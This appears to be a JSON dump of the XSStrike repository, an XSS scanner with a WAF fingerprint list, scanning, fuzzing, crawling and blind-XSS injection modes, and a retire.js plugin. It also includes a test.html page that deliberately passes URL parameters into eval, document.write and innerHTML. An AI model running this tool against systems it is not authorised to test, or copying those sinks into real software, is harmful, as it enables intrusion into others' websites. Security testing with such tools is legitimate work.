\"SecureIIS.*?Web Server Protection|http://www\\\\.eeye\\\\.com/SecureIIS/|\\\\?subject=[^>]*SecureIIS Error\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"SEnginx (Neusoft Corporation)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"SENGINX-ROBOT-MITIGATION\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"TrueShield Web Application Firewall (SiteLock)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"SiteLock Incident ID|sitelock-site-verification|sitelock_shield_logo\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"SonicWALL (Dell)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"This request is blocked by the SonicWALL|#shd|#nsa_banner|Web Site Blocked.*?\\\\bnsa_banner\",\n\t\t\"headers\" : \"SonicWALL\"\n\t},\n\t\"UTM Web Protection (Sophos)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Powered by UTM Web Protection\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Stingray Application Firewall (Riverbed / Brocade)\" : {\n\t\t\"code\" : \"403|500\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"X-Mapping-\"\n\t},\n\t\"CloudProxy WebSite Firewall (Sucuri)\" : {\n\t\t\"code\" : \"403\",\n\t\t\"page\" : \"Access Denied.*?Sucuri Website Firewall|Sucuri WebSite Firewall.*?Access Denied|Questions\\\\?.*?cloudproxy@sucuri\\\\.net\",\n\t\t\"headers\" : \"Sucuri/Cloudproxy|X-Sucuri\"\n\t},\n\t\"Tencent Cloud Web Application Firewall (Tencent Cloud Computing)\" : {\n\t\t\"code\" : \"405\",\n\t\t\"page\" : \"waf\\\\.tencent-cloud\\\\.com\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"st8(id|_wat|_wlf)\"\n\t},\n\t\"TrafficShield (F5 Networks)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"F5-TrafficShield|ASINFO=\"\n\t},\n\t\"UrlScan (Microsoft)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Rejected-By-UrlScan\",\n\t\t\"headers\" : \"Rejected-By-UrlScan\"\n\t},\n\t\"USP Secure Entry Server (United Security Providers)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"Secure Entry Server\"\n\t},\n\t\"Varnish FireWall (OWASP)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Request rejected by xVarnish-WAF|\\\\bXID: \\\\d+\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Wallarm Web Application Firewall (Wallarm)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"nginx-wallarm\"\n\t},\n\t\"WatchGuard (WatchGuard Technologies)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"WatchGuard\"\n\t},\n\t\"WebKnight Application Firewall (AQTRONIX)\" : {\n\t\t\"code\" : \"999\",\n\t\t\"page\" : \"WebKnight Application Firewall Alert|AQTRONIX WebKnight\",\n\t\t\"headers\" : \"WebKnight\"\n\t},\n\t\"Wordfence (Feedjit)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"This response was generated by Wordfence|Your access to this site has been limited\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Zenedge Web Application Firewall (Zenedge)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"zenedge/assets/\",\n\t\t\"headers\" : \"ZENEDGE\"\n\t},\n\t\"Yundun Web Application Firewall (Yundun)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"YUNDUN\"\n\t},\n\t\"Yunsuo Web Application Firewall (Yunsuo)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"<img class=.yunsuologo.\",\n\t\t\"headers\" : \"yunsuo_session\"\n\t}\n}\n"
  },
  {
    "path": "modes/__init__.py",
    "content": "\n"
  },
  {
    "path": "modes/bruteforcer.py",
    "content": "import copy\nfrom urllib.parse import urlparse, unquote\n\nfrom core.colors import good, green, end\nfrom core.requester import requester\nfrom core.utils import getUrl, getParams\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef bruteforcer(target, paramData, payloadList, encoding, headers, delay, timeout):\n    GET, POST = (False, True) if paramData else (True, False)\n    host = urlparse(target).netloc  # Extracts host out of the url\n    logger.debug('Parsed host to bruteforce: {}'.format(host))\n    url = getUrl(target, GET)\n    logger.debug('Parsed url to bruteforce: {}'.format(url))\n    params = getParams(target, paramData, GET)\n    logger.debug_json('Bruteforcer params:', params)\n    if not params:\n        logger.error('No parameters to test.')\n        quit()\n    for paramName in params.keys():\n        progress = 1\n        paramsCopy = copy.deepcopy(params)\n        for payload in payloadList:\n            logger.run('Bruteforcing %s[%s%s%s]%s: %i/%i\\r' %\n                       (green, end, paramName, green, end, progress, len(payloadList)))\n            if encoding:\n                payload = encoding(unquote(payload))\n            paramsCopy[paramName] = payload\n            response = requester(url, paramsCopy, headers,\n                                 GET, delay, timeout).text\n            if encoding:\n                payload = encoding(payload)\n            if payload in response:\n                logger.info('%s %s' % (good, payload))\n            progress += 1\n    logger.no_format('')\n"
  },
  {
    "path": "modes/crawl.py",
    "content": "import copy\nimport re\n\nimport core.config\nfrom core.colors import green, end\nfrom core.config import xsschecker\nfrom core.filterChecker import filterChecker\nfrom core.generator import generator\nfrom core.htmlParser import htmlParser\nfrom core.requester import requester\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef crawl(scheme, host, main_url, form, blindXSS, blindPayload, headers, delay, timeout, encoding):\n    if form:\n        for each in form.values():\n            url = each['action']\n            if url:\n                if url.startswith(main_url):\n                    pass\n                elif url.startswith('//') and url[2:].startswith(host):\n                    url = scheme + '://' + url[2:]\n                elif url.startswith('/'):\n                    url = scheme + '://' + host + url\n                elif re.match(r'\\w', url[0]):\n                    url = scheme + '://' + host + '/' + url\n                if url not in core.config.globalVariables['checkedForms']:\n                    core.config.globalVariables['checkedForms'][url] = []\n                method = each['method']\n                GET = True if method == 'get' else False\n                inputs = each['inputs']\n                paramData = {}\n                for one in inputs:\n                    paramData[one['name']] = one['value']\n                    for paramName in paramData.keys():\n                        if paramName not in core.config.globalVariables['checkedForms'][url]:\n                            core.config.globalVariables['checkedForms'][url].append(paramName)\n                            paramsCopy = copy.deepcopy(paramData)\n                            paramsCopy[paramName] = xsschecker\n                            response = requester(\n                                url, paramsCopy, headers, GET, delay, timeout)\n                            occurences = htmlParser(response, encoding)\n                            positions = occurences.keys()\n                            occurences = filterChecker(\n                                url, paramsCopy, headers, GET, delay, occurences, timeout, encoding)\n                            vectors = generator(occurences, response.text)\n                            if vectors:\n                                for confidence, vects in vectors.items():\n                                    try:\n                                        payload = list(vects)[0]\n                                        logger.vuln('Vulnerable webpage: %s%s%s' %\n                                                    (green, url, end))\n                                        logger.vuln('Vector for %s%s%s: %s' %\n                                                    (green, paramName, end, payload))\n                                        break\n                                    except IndexError:\n                                        pass\n                            if blindXSS and blindPayload:\n                                paramsCopy[paramName] = blindPayload\n                                requester(url, paramsCopy, headers,\n                                          GET, delay, timeout)\n"
  },
  {
    "path": "modes/scan.py",
    "content": "import copy\nimport re\nfrom urllib.parse import urlparse, quote, unquote\n\nfrom core.checker import checker\nfrom core.colors import end, green, que\nimport core.config\nfrom core.config import xsschecker, minEfficiency\nfrom core.dom import dom\nfrom core.filterChecker import filterChecker\nfrom core.generator import generator\nfrom core.htmlParser import htmlParser\nfrom core.requester import requester\nfrom core.utils import getUrl, getParams, getVar\nfrom core.wafDetector import wafDetector\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef scan(target, paramData, encoding, headers, delay, timeout, skipDOM, skip):\n    GET, POST = (False, True) if paramData else (True, False)\n    # If the user hasn't supplied the root url with http(s), we will handle it\n    if not target.startswith('http'):\n        try:\n            response = requester('https://' + target, {},\n                                 headers, GET, delay, timeout)\n            target = 'https://' + target\n        except:\n            target = 'http://' + target\n    logger.debug('Scan target: {}'.format(target))\n    response = requester(target, {}, headers, GET, delay, timeout).text\n\n    if not skipDOM:\n        logger.run('Checking for DOM vulnerabilities')\n        highlighted = dom(response)\n        if highlighted:\n            logger.good('Potentially vulnerable objects found')\n            logger.red_line(level='good')\n            for line in highlighted:\n                logger.no_format(line, level='good')\n            logger.red_line(level='good')\n    host = urlparse(target).netloc  # Extracts host out of the url\n    logger.debug('Host to scan: {}'.format(host))\n    url = getUrl(target, GET)\n    logger.debug('Url to scan: {}'.format(url))\n    params = getParams(target, paramData, GET)\n    logger.debug_json('Scan parameters:', params)\n    if not params:\n        logger.error('No parameters to test.')\n        quit()\n    WAF = wafDetector(\n        url, {list(params.keys())[0]: xsschecker}, headers, GET, delay, timeout)\n    if WAF:\n        logger.error('WAF detected: %s%s%s' % (green, WAF, end))\n    else:\n        logger.good('WAF Status: %sOffline%s' % (green, end))\n\n    for paramName in params.keys():\n        paramsCopy = copy.deepcopy(params)\n        logger.info('Testing parameter: %s' % paramName)\n        if encoding:\n            paramsCopy[paramName] = encoding(xsschecker)\n        else:\n            paramsCopy[paramName] = xsschecker\n        response = requester(url, paramsCopy, headers, GET, delay, timeout)\n        occurences = htmlParser(response, encoding)\n        positions = occurences.keys()\n        logger.debug('Scan occurences: {}'.format(occurences))\n        if not occurences:\n            logger.error('No reflection found')\n            continue\n        else:\n            logger.info('Reflections found: %i' % len(occurences))\n\n        logger.run('Analysing reflections')\n        efficiencies = filterChecker(\n            url, paramsCopy, headers, GET, delay, occurences, timeout, encoding)\n        logger.debug('Scan efficiencies: {}'.format(efficiencies))\n        logger.run('Generating payloads')\n        vectors = generator(occurences, response.text)\n        total = 0\n        for v in vectors.values():\n            total += len(v)\n        if total == 0:\n            logger.error('No vectors were crafted.')\n            continue\n        logger.info('Payloads generated: %i' % total)\n        progress = 0\n        for confidence, vects in vectors.items():\n            for vect in vects:\n                if core.config.globalVariables['path']:\n                    vect = vect.replace('/', '%2F')\n                loggerVector = vect\n                progress += 1\n                logger.run('Progress: %i/%i\\r' % (progress, total))\n                if not GET:\n                    vect = unquote(vect)\n                efficiencies = checker(\n                    url, paramsCopy, headers, GET, delay, vect, positions, timeout, encoding)\n                if not efficiencies:\n                    for i in range(len(occurences)):\n                        efficiencies.append(0)\n                bestEfficiency = max(efficiencies)\n                if bestEfficiency == 100 or (vect[0] == '\\\\' and bestEfficiency >= 95):\n                    logger.red_line()\n                    logger.good('Payload: %s' % loggerVector)\n                    logger.info('Efficiency: %i' % bestEfficiency)\n                    logger.info('Confidence: %i' % confidence)\n                    if not skip:\n                        choice = input(\n                            '%s Would you like to continue scanning? [y/N] ' % que).lower()\n                        if choice != 'y':\n                            quit()\n                elif bestEfficiency > minEfficiency:\n                    logger.red_line()\n                    logger.good('Payload: %s' % loggerVector)\n                    logger.info('Efficiency: %i' % bestEfficiency)\n                    logger.info('Confidence: %i' % confidence)\n        logger.no_format('')\n"
  },
  {
    "path": "modes/singleFuzz.py",
    "content": "import copy\nfrom urllib.parse import urlparse\n\nfrom core.colors import green, end\nfrom core.config import xsschecker\nfrom core.fuzzer import fuzzer\nfrom core.requester import requester\nfrom core.utils import getUrl, getParams\nfrom core.wafDetector import wafDetector\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef singleFuzz(target, paramData, encoding, headers, delay, timeout):\n    GET, POST = (False, True) if paramData else (True, False)\n    # If the user hasn't supplied the root url with http(s), we will handle it\n    if not target.startswith('http'):\n        try:\n            response = requester('https://' + target, {},\n                                 headers, GET, delay, timeout)\n            target = 'https://' + target\n        except:\n            target = 'http://' + target\n    logger.debug('Single Fuzz target: {}'.format(target))\n    host = urlparse(target).netloc  # Extracts host out of the url\n    logger.debug('Single fuzz host: {}'.format(host))\n    url = getUrl(target, GET)\n    logger.debug('Single fuzz url: {}'.format(url))\n    params = getParams(target, paramData, GET)\n    logger.debug_json('Single fuzz params:', params)\n    if not params:\n        logger.error('No parameters to test.')\n        quit()\n    WAF = wafDetector(\n        url, {list(params.keys())[0]: xsschecker}, headers, GET, delay, timeout)\n    if WAF:\n        logger.error('WAF detected: %s%s%s' % (green, WAF, end))\n    else:\n        logger.good('WAF Status: %sOffline%s' % (green, end))\n\n    for paramName in params.keys():\n        logger.info('Fuzzing parameter: %s' % paramName)\n        paramsCopy = copy.deepcopy(params)\n        paramsCopy[paramName] = xsschecker\n        fuzzer(url, paramsCopy, headers, GET,\n               delay, timeout, WAF, encoding)\n"
  },
  {
    "path": "plugins/__init__.py",
    "content": "\n"
  },
  {
    "path": "plugins/retireJs.py",
    "content": "import re\nimport json\nimport hashlib\nfrom urllib.parse import urlparse\n\nfrom core.colors import green, end\nfrom core.requester import requester\nfrom core.utils import deJSON, js_extractor, handle_anchor, getVar, updateVar\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef is_defined(o):\n    return o is not None\n\n\ndef scan(data, extractor, definitions, matcher=None):\n    matcher = matcher or _simple_match\n    detected = []\n    for component in definitions:\n        extractors = definitions[component].get(\n            \"extractors\", None).get(\n            extractor, None)\n        if (not is_defined(extractors)):\n            continue\n        for i in extractors:\n            match = matcher(i, data)\n            if (match):\n                detected.append({\"version\": match,\n                                 \"component\": component,\n                                 \"detection\": extractor})\n    return detected\n\n\ndef _simple_match(regex, data):\n    regex = deJSON(regex)\n    match = re.search(regex, data)\n    return match.group(1) if match else None\n\n\ndef _replacement_match(regex, data):\n    try:\n        regex = deJSON(regex)\n        group_parts_of_regex = r'^\\/(.*[^\\\\])\\/([^\\/]+)\\/$'\n        ar = re.search(group_parts_of_regex, regex)\n        search_for_regex = \"(\" + ar.group(1) + \")\"\n        match = re.search(search_for_regex, data)\n        ver = None\n        if (match):\n            ver = re.sub(ar.group(1), ar.group(2), match.group(0))\n            return ver\n\n        return None\n    except:\n        return None\n\n\ndef _scanhash(hash, definitions):\n    for component in definitions:\n        hashes = definitions[component].get(\"extractors\", None).get(\"hashes\", None)\n        if (not is_defined(hashes)):\n            continue\n        for i in hashes:\n            if (i == hash):\n                return [{\"version\": hashes[i],\n                         \"component\": component,\n                         \"detection\": 'hash'}]\n\n    return []\n\n\ndef check(results, definitions):\n    for r in results:\n        result = r\n\n        if (not is_defined(definitions[result.get(\"component\", None)])):\n            continue\n        vulns = definitions[\n            result.get(\n                \"component\",\n                None)].get(\n            \"vulnerabilities\",\n            None)\n        for i in range(len(vulns)):\n            if (not _is_at_or_above(result.get(\"version\", None),\n                                vulns[i].get(\"below\", None))):\n                if (is_defined(vulns[i].get(\"atOrAbove\", None)) and not _is_at_or_above(\n                        result.get(\"version\", None), vulns[i].get(\"atOrAbove\", None))):\n                    continue\n\n                vulnerability = {\"info\": vulns[i].get(\"info\", None)}\n                if (vulns[i].get(\"severity\", None)):\n                    vulnerability[\"severity\"] = vulns[i].get(\"severity\", None)\n\n                if (vulns[i].get(\"identifiers\", None)):\n                    vulnerability[\"identifiers\"] = vulns[\n                        i].get(\"identifiers\", None)\n\n                result[\"vulnerabilities\"] = result.get(\n                    \"vulnerabilities\", None) or []\n                result[\"vulnerabilities\"].append(vulnerability)\n\n    return results\n\n\ndef unique(ar):\n    return list(set(ar))\n\n\ndef _is_at_or_above(version1, version2):\n    # print \"[\",version1,\",\", version2,\"]\"\n    v1 = re.split(r'[.-]', version1)\n    v2 = re.split(r'[.-]', version2)\n\n    l = len(v1) if len(v1) > len(v2) else len(v2)\n    for i in range(l):\n        v1_c = _to_comparable(v1[i] if len(v1) > i else None)\n        v2_c = _to_comparable(v2[i] if len(v2) > i else None)\n        # print v1_c, \"vs\", v2_c\n        if (not isinstance(v1_c, type(v2_c))):\n            return isinstance(v1_c, int)\n        if (v1_c > v2_c):\n            return True\n        if (v1_c < v2_c):\n            return False\n\n    return True\n\n\ndef _to_comparable(n):\n    if (not is_defined(n)):\n        return 0\n    if (re.search(r'^[0-9]+$', n)):\n        return int(str(n), 10)\n\n    return n\n\n\ndef _replace_version(jsRepoJsonAsText):\n    return re.sub(r'[.0-9]*', '[0-9][0-9.a-z_\\-]+', jsRepoJsonAsText)\n\n\ndef is_vulnerable(results):\n    for r in results:\n        if ('vulnerabilities' in r):\n            # print r\n            return True\n\n    return False\n\n\ndef scan_uri(uri, definitions):\n    result = scan(uri, 'uri', definitions)\n    return check(result, definitions)\n\n\ndef scan_filename(fileName, definitions):\n    result = scan(fileName, 'filename', definitions)\n    return check(result, definitions)\n\n\ndef scan_file_content(content, definitions):\n    result = scan(content, 'filecontent', definitions)\n    if (len(result) == 0):\n        result = scan(content, 'filecontentreplace', definitions, _replacement_match)\n\n    if (len(result) == 0):\n        result = _scanhash(\n            hashlib.sha1(\n                content.encode('utf8')).hexdigest(),\n            definitions)\n\n    return check(result, definitions)\n\n\ndef main_scanner(uri, response):\n    definitions = getVar('definitions')\n    uri_scan_result = scan_uri(uri, definitions)\n    filecontent = response\n    filecontent_scan_result = scan_file_content(filecontent, definitions)\n    uri_scan_result.extend(filecontent_scan_result)\n    result = {}\n    if uri_scan_result:\n        result['component'] = uri_scan_result[0]['component']\n        result['version'] = uri_scan_result[0]['version']\n        result['vulnerabilities'] = []\n        vulnerabilities = set()\n        for i in uri_scan_result:\n            k = set()\n            try:\n                for j in i['vulnerabilities']:\n                    vulnerabilities.add(str(j))\n            except KeyError:\n                pass\n        for vulnerability in vulnerabilities:\n            result['vulnerabilities'].append(json.loads(vulnerability.replace('\\'', '\"')))\n        return result\n\ndef retireJs(url, response):\n    scripts = js_extractor(response)\n    for script in scripts:\n        if script not in getVar('checkedScripts'):\n            updateVar('checkedScripts', script, 'add')\n            uri = handle_anchor(url, script)\n            response = requester(uri, '', getVar('headers'), True, getVar('delay'), getVar('timeout')).text\n            result = main_scanner(uri, response)\n            if result:\n                logger.red_line()\n                logger.good('Vulnerable component: ' + result['component'] + ' v' + result['version'])\n                logger.info('Component location: %s' % uri)\n                details = result['vulnerabilities']\n                logger.info('Total vulnerabilities: %i' % len(details))\n                for detail in details:\n                    logger.info('%sSummary:%s %s' % (green, end, detail['identifiers']['summary']))\n                    logger.info('Severity: %s' % detail['severity'])\n                    logger.info('CVE: %s' % detail['identifiers']['CVE'][0])\n                logger.red_line()\n"
  },
  {
    "path": "requirements.txt",
    "content": "tld\nfuzzywuzzy\nrequests\n"
  },
  {
    "path": "test.html",
    "content": "<!DOCTYPE html>\n<html>\n    <body>\n        <div>\n            <pre>document.writeln(new URL(window.location.href).searchParams.get(\"a\"))</pre>\n            <script>document.writeln(new URL(window.location.href).searchParams.get(\"a\"))</script>\n        </div>\n        <div>\n            <pre>document.write(new URLSearchParams(window.location.search).get(\"b\"))</pre>\n            <script>document.write(new URLSearchParams(window.location.search).get(\"b\"))</script>\n        </div>\n        <div>\n            <pre>eval(new URLSearchParams(window.location.search).get(\"c\") || \"\")</pre>\n            <script>eval(new URLSearchParams(window.location.search).get(\"c\") || \"\")</script>\n        </div>\n        <div>\n            <div id=\"xss-d\"></div>\n            <pre>document.querySelector(\"#xss-d\").innerHTML = new URLSearchParams(window.location.search).get(\"d\")</pre>\n            <script>document.querySelector(\"#xss-d\").innerHTML = new URLSearchParams(window.location.search).get(\"d\")</script>\n        </div>\n    </body>\n</html>\n"
  },
  {
    "path": "xsstrike.py",
    "content": "#!/usr/bin/env python3\n\nfrom __future__ import print_function\n\nfrom core.colors import end, red, white, bad, info\n\n# Just a fancy ass banner\nprint('''%s\n\\tXSStrike %sv3.1.5\n%s''' % (red, white, end))\n\ntry:\n    import concurrent.futures\n    from urllib.parse import urlparse\n    try:\n        import fuzzywuzzy\n    except ImportError:\n        import os\n        print ('%s fuzzywuzzy isn\\'t installed, installing now.' % info)\n        ret_code = os.system('pip3 install fuzzywuzzy')\n        if(ret_code != 0):\n            print('%s fuzzywuzzy installation failed.' % bad)\n            quit()\n        print ('%s fuzzywuzzy has been installed, restart XSStrike.' % info)\n        quit()\nexcept ImportError:  # throws error in python2\n    print('%s XSStrike isn\\'t compatible with python2.\\n Use python > 3.4 to run XSStrike.' % bad)\n    quit()\n\n# Let's import whatever we need from standard lib\nimport sys\nimport json\nimport argparse\n\n# ... and configurations core lib\nimport core.config\nimport core.log\n\n# Processing command line arguments, where dest var names will be mapped to local vars with the same name\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--url', help='url', dest='target')\nparser.add_argument('--data', help='post data', dest='paramData')\nparser.add_argument('-e', '--encode', help='encode payloads', dest='encode')\nparser.add_argument('--fuzzer', help='fuzzer',\n                    dest='fuzz', action='store_true')\nparser.add_argument('--update', help='update',\n                    dest='update', action='store_true')\nparser.add_argument('--timeout', help='timeout',\n                    dest='timeout', type=int, default=core.config.timeout)\nparser.add_argument('--proxy', help='use prox(y|ies)',\n                    dest='proxy', action='store_true')\nparser.add_argument('--crawl', help='crawl',\n                    dest='recursive', action='store_true')\nparser.add_argument('--json', help='treat post data as json',\n                    dest='jsonData', action='store_true')\nparser.add_argument('--path', help='inject payloads in the path',\n                    dest='path', action='store_true')\nparser.add_argument(\n    '--seeds', help='load crawling seeds from a file', dest='args_seeds')\nparser.add_argument(\n    '-f', '--file', help='load payloads from a file', dest='args_file')\nparser.add_argument('-l', '--level', help='level of crawling',\n                    dest='level', type=int, default=2)\nparser.add_argument('--headers', help='add headers',\n                    dest='add_headers', nargs='?', const=True)\nparser.add_argument('-t', '--threads', help='number of threads',\n                    dest='threadCount', type=int, default=core.config.threadCount)\nparser.add_argument('-d', '--delay', help='delay between requests',\n                    dest='delay', type=int, default=core.config.delay)\nparser.add_argument('--skip', help='don\\'t ask to continue',\n                    dest='skip', action='store_true')\nparser.add_argument('--skip-dom', help='skip dom checking',\n                    dest='skipDOM', action='store_true')\nparser.add_argument('--blind', help='inject blind XSS payload while crawling',\n                    dest='blindXSS', action='store_true')\nparser.add_argument('--console-log-level', help='Console logging level',\n                    dest='console_log_level', default=core.log.console_log_level,\n                    choices=core.log.log_config.keys())\nparser.add_argument('--file-log-level', help='File logging level', dest='file_log_level',\n                    choices=core.log.log_config.keys(), default=None)\nparser.add_argument('--log-file', help='Name of the file to log', dest='log_file',\n                    default=core.log.log_file)\nargs = parser.parse_args()\n\n# Pull all parameter values of dict from argparse namespace into local variables of name == key\n# The following works, but the static checkers are too static ;-) locals().update(vars(args))\ntarget = args.target\npath = args.path\njsonData = args.jsonData\nparamData = args.paramData\nencode = args.encode\nfuzz = args.fuzz\nupdate = args.update\ntimeout = args.timeout\nproxy = args.proxy\nrecursive = args.recursive\nargs_file = args.args_file\nargs_seeds = args.args_seeds\nlevel = args.level\nadd_headers = args.add_headers\nthreadCount = args.threadCount\ndelay = args.delay\nskip = args.skip\nskipDOM = args.skipDOM\nblindXSS = args.blindXSS\ncore.log.console_log_level = args.console_log_level\ncore.log.file_log_level = args.file_log_level\ncore.log.log_file = args.log_file\n\nlogger = core.log.setup_logger()\n\ncore.config.globalVariables = vars(args)\n\n# Import everything else required from core lib\nfrom core.config import blindPayload\nfrom core.encoders import base64\nfrom core.photon import photon\nfrom core.prompt import prompt\nfrom core.updater import updater\nfrom core.utils import extractHeaders, reader, converter\n\nfrom modes.bruteforcer import bruteforcer\nfrom modes.crawl import crawl\nfrom modes.scan import scan\nfrom modes.singleFuzz import singleFuzz\n\nif type(args.add_headers) == bool:\n    headers = extractHeaders(prompt())\nelif type(args.add_headers) == str:\n    headers = extractHeaders(args.add_headers)\nelse:\n    from core.config import headers\n\ncore.config.globalVariables['headers'] = headers\ncore.config.globalVariables['checkedScripts'] = set()\ncore.config.globalVariables['checkedForms'] = {}\ncore.config.globalVariables['definitions'] = json.loads('\\n'.join(reader(sys.path[0] + '/db/definitions.json')))\n\nif path:\n    paramData = converter(target, target)\nelif jsonData:\n    headers['Content-type'] = 'application/json'\n    paramData = converter(paramData)\n\nif args_file:\n    if args_file == 'default':\n        payloadList = core.config.payloads\n    else:\n        payloadList = list(filter(None, reader(args_file)))\n\nseedList = []\nif args_seeds:\n    seedList = list(filter(None, reader(args_seeds)))\n\nencoding = base64 if encode and encode == 'base64' else False\n\nif not proxy:\n    core.config.proxies = {}\n\nif update:  # if the user has supplied --update argument\n    updater()\n    quit()  # quitting because files have been changed\n\nif not target and not args_seeds:  # if the user hasn't supplied a url\n    logger.no_format('\\n' + parser.format_help().lower())\n    quit()\n\nif fuzz:\n    singleFuzz(target, paramData, encoding, headers, delay, timeout)\nelif not recursive and not args_seeds:\n    if args_file:\n        bruteforcer(target, paramData, payloadList, encoding, headers, delay, timeout)\n    else:\n        scan(target, paramData, encoding, headers, delay, timeout, skipDOM, skip)\nelse:\n    if target:\n        seedList.append(target)\n    for target in seedList:\n        logger.run('Crawling the target')\n        scheme = urlparse(target).scheme\n        logger.debug('Target scheme: {}'.format(scheme))\n        host = urlparse(target).netloc\n        main_url = scheme + '://' + host\n        crawlingResult = photon(target, headers, level,\n                                threadCount, delay, timeout, skipDOM)\n        forms = crawlingResult[0]\n        domURLs = list(crawlingResult[1])\n        difference = abs(len(domURLs) - len(forms))\n        if len(domURLs) > len(forms):\n            for i in range(difference):\n                forms.append(0)\n        elif len(forms) > len(domURLs):\n            for i in range(difference):\n                domURLs.append(0)\n        threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=threadCount)\n        futures = (threadpool.submit(crawl, scheme, host, main_url, form,\n                                     blindXSS, blindPayload, headers, delay, timeout, encoding) for form, domURL in zip(forms, domURLs))\n        for i, _ in enumerate(concurrent.futures.as_completed(futures)):\n            if i + 1 == len(forms) or (i + 1) % threadCount == 0:\n                logger.info('Progress: %i/%i\\r' % (i + 1, len(forms)))\n        logger.no_format('')\n"
  }
]